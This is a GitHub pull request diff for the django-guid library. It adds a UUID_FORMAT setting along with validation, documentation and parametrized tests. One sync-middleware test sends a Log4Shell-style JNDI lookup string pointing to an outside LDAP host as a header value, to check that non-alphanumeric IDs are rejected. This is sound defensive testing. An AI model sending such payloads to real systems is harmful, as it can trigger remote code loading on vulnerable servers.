Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add UUID_FORMAT config #81

Merged
merged 11 commits into from
May 6, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 4 additions & 12 deletions .pre-commit-config.yaml
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
repos:
- repo: https://github.com/ambv/black
rev: 22.1.0
rev: 22.3.0
hooks:
- id: black
args: ['--quiet']
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.1.0
rev: v4.2.0
hooks:
- id: check-case-conflict
- id: end-of-file-fixer
Expand All @@ -31,7 +31,7 @@ repos:
]
args: ['--enable-extensions=G']
- repo: https://github.com/asottile/pyupgrade
rev: v2.31.0
rev: v2.32.1
hooks:
- id: pyupgrade
args: ["--py36-plus"]
Expand All @@ -42,15 +42,7 @@ repos:
files: 'django_guid/.*'
- id: isort
files: 'tests/.*'
- repo: local
hooks:
- id: rst
name: rst
entry: rst-lint --encoding utf-8
files: ^(CHANGELOG.rst|README.rst|CONTRIBUTING.rst|CONTRIBUTORS.rst|docs/api.rst|docs/extended_example.rst|docs/index.rst|docs/install.rst/index.rst|docs/integration.rst/index.rst|docs/publish.rst/index.rst|docs/settings.rst/index.rst|docs/troubleshooting.rst)$
language: python
additional_dependencies: [pygments, restructuredtext_lint]
- repo: https://github.com/pre-commit/mirrors-mypy
rev: v0.931
rev: v0.950
hooks:
- id: mypy
2 changes: 1 addition & 1 deletion django_guid/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

from django_guid.api import clear_guid, get_guid, set_guid # noqa F401

__version__ = '3.2.2'
__version__ = '3.3.0'

if django.VERSION < (3, 2):
default_app_config = 'django_guid.apps.DjangoGuidConfig'
Expand Down
20 changes: 16 additions & 4 deletions django_guid/config.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
# flake8: noqa: D102
from typing import List, Union
from collections import defaultdict
from typing import Dict, List, Union

from django.conf import settings as django_settings
from django.core.exceptions import ImproperlyConfigured
Expand Down Expand Up @@ -58,7 +59,12 @@ def integration_settings(self) -> IntegrationSettings:

@property
def uuid_length(self) -> int:
return self.settings.get('UUID_LENGTH', 32)
default_length: Dict[str, int] = defaultdict(lambda: 32, string=36)
return self.settings.get('UUID_LENGTH', default_length[self.uuid_format])

@property
def uuid_format(self) -> str:
return self.settings.get('UUID_FORMAT', 'hex')

def validate(self) -> None:
if not isinstance(self.validate_guid, bool):
Expand All @@ -75,8 +81,14 @@ def validate(self) -> None:
raise ImproperlyConfigured('IGNORE_URLS must be an array')
if not all(isinstance(url, str) for url in self.settings.get('IGNORE_URLS', [])):
raise ImproperlyConfigured('IGNORE_URLS must be an array of strings')
if type(self.uuid_length) is not int or not 1 <= self.uuid_length <= 32:
raise ImproperlyConfigured('UUID_LENGTH must be an integer and be between 1-32')
if type(self.uuid_length) is not int or self.uuid_length < 1:
raise ImproperlyConfigured('UUID_LENGTH must be an integer and positive')
if self.uuid_format == 'string' and not 1 <= self.uuid_length <= 36:
raise ImproperlyConfigured('UUID_LENGTH must be between 1-36 when UUID_FORMAT is string')
if self.uuid_format == 'hex' and not 1 <= self.uuid_length <= 32:
raise ImproperlyConfigured('UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex')
if self.uuid_format not in ('hex', 'string'):
raise ImproperlyConfigured('UUID_FORMAT must be either hex or string')

self._validate_and_setup_integrations()

Expand Down
9 changes: 7 additions & 2 deletions django_guid/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -70,9 +70,14 @@ def generate_guid(uuid_length: Optional[int] = None) -> str:

:return: GUID
"""
if settings.uuid_format == 'string':
guid = str(uuid.uuid4())
else:
guid = uuid.uuid4().hex

if uuid_length is None:
return uuid.uuid4().hex[: settings.uuid_length]
return uuid.uuid4().hex[:uuid_length]
return guid[: settings.uuid_length]
return guid[:uuid_length]


def validate_guid(original_guid: str) -> bool:
Expand Down
10 changes: 10 additions & 0 deletions docs/settings.rst
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ Default settings are shown below:
'EXPOSE_HEADER': True,
'INTEGRATIONS': [],
'UUID_LENGTH': 32,
'UUID_FORMAT': 'hex',
}


Expand Down Expand Up @@ -81,3 +82,12 @@ UUID_LENGTH
If a full UUID hex is too long for you, this settings lets you specify the length you wish to use.
The chance of collision in a UUID is so low, that most systems will get away with a lot
fewer than 32 characters.

UUID_LENGTH
-----------
* **Default**: ``hex``
* **Type**: ``string``

If a UUID hex is not suitable for you, this settings lets you specify the format you wish to use. The options are:
* ``hex``: The default, a 32 character hexadecimal string. e.g. ee586b0fba3c44849d20e1548210c050
* ``str``: A 36 character string. e.g. ee586b0f-ba3c-4484-9d20-e1548210c050
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[tool.poetry]
name = "django-guid"
version = "3.2.2" # Remember to also change __init__.py version
version = "3.3.0" # Remember to also change __init__.py version
description = "Middleware that enables single request-response cycle tracing by injecting a unique ID into project logs"
authors = ["Jonas Krüger Svensson <[email protected]>"]
maintainers = ["Sondre Lillebø Gundersen <[email protected]>"]
Expand Down
2 changes: 2 additions & 0 deletions setup.cfg
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,8 @@ ignore =
ANN002
# Missing type annotations for **kwargs
ANN003
# Allow Any typing
ANN401

exclude =
.git,
Expand Down
3 changes: 3 additions & 0 deletions tests/conftest.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,9 @@ def mock_uuid(monkeypatch):
class MockUUid:
hex = '704ae5472cae4f8daa8f2cc5a5a8mock'

def __str__(self):
return f'{self.hex[:8]}-{self.hex[8:12]}-{self.hex[12:16]}-{self.hex[16:20]}-{self.hex[20:]}'

monkeypatch.setattr('django_guid.utils.uuid.uuid4', MockUUid)


Expand Down
71 changes: 49 additions & 22 deletions tests/functional/test_sync_middleware.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,11 @@
from django_guid.config import Settings


def test_request_with_no_correlation_id(client, caplog, mock_uuid):
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
)
def test_request_with_no_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
"""
Tests a request without any correlation-ID in it logs the correct things.
In this case, it means that the first log message should not have any correlation-ID in it, but the next two
Expand All @@ -17,58 +21,81 @@ def test_request_with_no_correlation_id(client, caplog, mock_uuid):
:param client: Django client
:param caplog: caplog fixture
"""
response = client.get('/')
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': False, 'UUID_FORMAT': uuid_format}

with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/')

expected = [
('sync middleware called', None),
(
'Header `Correlation-ID` was not found in the incoming request. '
'Generated new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock',
'Header `Correlation-ID` was not found in the incoming request. ' f'Generated new GUID: {uuid_data}',
None,
),
('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
assert response['Correlation-ID'] == uuid_data


def test_request_with_correlation_id(client, caplog):
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('97c304252fd14b25b72d6aee31565843', 'hex'), ('97c30425-2fd1-4b25-b72d-6aee31565843', 'string')],
)
def test_request_with_correlation_id(uuid_data, uuid_format, client, caplog, monkeypatch):
"""
Tests a request _with_ a correlation-ID in it logs the correct things.
:param client: Django client
:param caplog: caplog fixture
"""
response = client.get('/', **{'HTTP_Correlation-ID': '97c304252fd14b25b72d6aee31565843'})
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}

with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/', **{'HTTP_Correlation-ID': uuid_data})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
('97c304252fd14b25b72d6aee31565843 is a valid GUID', None),
('This log message should have a GUID', '97c304252fd14b25b72d6aee31565843'),
('Some warning in a function', '97c304252fd14b25b72d6aee31565843'),
('Received signal `request_finished`, clearing guid', '97c304252fd14b25b72d6aee31565843'),
(f'{uuid_data} is a valid GUID', None),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '97c304252fd14b25b72d6aee31565843'
assert response['Correlation-ID'] == uuid_data


def test_request_with_non_alnum_correlation_id(client, caplog, mock_uuid):
@pytest.mark.parametrize(
'uuid_data,uuid_format',
[('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')],
)
def test_request_with_non_alnum_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch):
"""
Tests a request _with_ a correlation-ID in it logs the correct things.
:param client: Django client
:param caplog: caplog fixture
"""
response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format}

with override_settings(DJANGO_GUID=mocked_settings):
settings = Settings()
monkeypatch.setattr('django_guid.utils.settings', settings)
response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'})
expected = [
('sync middleware called', None),
('Correlation-ID found in the header', None),
('Non-alnum Correlation-ID provided. New GUID is 704ae5472cae4f8daa8f2cc5a5a8mock', None),
('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'),
('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'),
(f'Non-alnum Correlation-ID provided. New GUID is {uuid_data}', None),
('This log message should have a GUID', uuid_data),
('Some warning in a function', uuid_data),
('Received signal `request_finished`, clearing guid', uuid_data),
]
assert [(x.message, x.correlation_id) for x in caplog.records] == expected
assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock'
assert response['Correlation-ID'] == uuid_data


def test_request_with_invalid_correlation_id(client, caplog, mock_uuid):
Expand Down
39 changes: 32 additions & 7 deletions tests/unit/test_config.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,10 @@

from django_guid.config import Settings

UUID_LENGTH_IS_NOT_INTEGER = 'UUID_LENGTH must be an integer and positive'
UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT = 'UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex'
UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT = 'UUID_LENGTH must be between 1-36 when UUID_FORMAT is string'


@override_settings()
def test_no_config(settings):
Expand Down Expand Up @@ -86,13 +90,34 @@ def test_not_string_in_igore_urls():
Settings().validate()


def test_uuid_len_fail():
for setting in [True, False, {}, [], 'asd', -1, 0, 33]:
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['UUID_LENGTH'] = setting
with override_settings(DJANGO_GUID=mocked_settings):
with pytest.raises(ImproperlyConfigured, match='UUID_LENGTH must be an integer and be between 1-32'):
Settings().validate()
@pytest.mark.parametrize(
'uuid_length,uuid_format,error_message',
[
(True, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(False, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
({}, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(-1, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(0, 'hex', UUID_LENGTH_IS_NOT_INTEGER),
(33, 'hex', UUID_LENGHT_IS_NOT_CORRECT_RANGE_HEX_FORMAT),
(37, 'string', UUID_LENGHT_IS_NOT_CORRECT_RANGE_STRING_FORMAT),
],
)
def test_uuid_len_fail(uuid_length, uuid_format, error_message):
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['UUID_LENGTH'] = uuid_length
mocked_settings['UUID_FORMAT'] = uuid_format
with override_settings(DJANGO_GUID=mocked_settings):
with pytest.raises(ImproperlyConfigured, match=error_message):
Settings().validate()


@pytest.mark.parametrize('uuid_format', ['bytes', 'urn', 'bytes_le'])
def test_uuid_format_fail(uuid_format):
mocked_settings = deepcopy(django_settings.DJANGO_GUID)
mocked_settings['UUID_FORMAT'] = uuid_format
with override_settings(DJANGO_GUID=mocked_settings):
with pytest.raises(ImproperlyConfigured, match='UUID_FORMAT must be either hex or string'):
Settings().validate()


def test_converts_correctly():
Expand Down
15 changes: 10 additions & 5 deletions tests/unit/test_uuid_length.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
from django.conf import settings as django_settings
from django.test import override_settings

import pytest

from django_guid.utils import generate_guid


Expand All @@ -13,13 +15,16 @@ def test_uuid_length():
assert len(guid) == i


def test_uuid_length_setting():
@pytest.mark.parametrize('maximum_range,uuid_format,expected_type', [(33, 'hex', str), (37, 'string', str)])
def test_uuid_length_setting(maximum_range, uuid_format, expected_type):
"""
Make sure that the settings value is used as a default.
"""
for i in range(33):
mocked_settings = django_settings.DJANGO_GUID
mocked_settings['UUID_LENGTH'] = i
mocked_settings = django_settings.DJANGO_GUID
mocked_settings['UUID_FORMAT'] = uuid_format
for uuid_lenght in range(33):
mocked_settings['UUID_LENGTH'] = uuid_lenght
with override_settings(DJANGO_GUID=mocked_settings):
guid = generate_guid()
assert len(guid) == i
assert isinstance(guid, expected_type)
assert len(guid) == uuid_lenght